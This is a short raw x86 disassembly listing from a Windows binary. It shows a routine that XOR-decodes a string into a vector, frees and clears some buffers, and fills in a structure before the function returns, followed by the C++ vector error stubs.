xor eax, eax
mov ecx, edi
mov dword [ebp - 0x29c], eax
xor esi, esi
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x29c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e83c6
sub ecx, edx
je 0x4e8414
mov al, byte [esi + edi]
lea ecx, [ebp - 0x29c]
xor al, 0x8b
mov byte [ebp - 0x28d], al
lea eax, [ebp - 0x28d]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e83f4
sub ecx, edx
cmp esi, ecx
jb 0x4e83d1
mov eax, dword [ebp - 0x29c]
test eax, eax
je 0x4e8414
push eax
call fcn.0053c1e0
add esp, 4
mov eax, dword [ebp - 0x810]
test eax, eax
je 0x4e8445
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x80c], 0
mov dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x830]
test eax, eax
je 0x4e8458
push eax
call fcn.0053c1e0
add esp, 4
push 0x3c
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.0053e0b0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
push 2
lea ecx, [ebp - 0x268]
call fcn.004afa40
mov dword [ebp - 0x23c], 2
mov dword [ebp - 0x268], 0x582864
mov dword [ebp - 0x238], 3
mov dword [ebp - 0x234], 7
mov dword [ebp - 0x230], 7
lea eax, [ebp - 0x268]
push eax
call fcn.004a3ef0
add esp, 4
lea ecx, [ebp - 0x268]
call fcn.004b5e60
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0053d3a0
mov esp, ebp
pop ebp
ret
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.vector_T__too_long
call fcn.0053aed8
push str.invalid_vector_T__subscript
call fcn.0053af06
call fcn.0053c4d0
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.invalid_vector_T__subscript
call fcn.0053af06
int3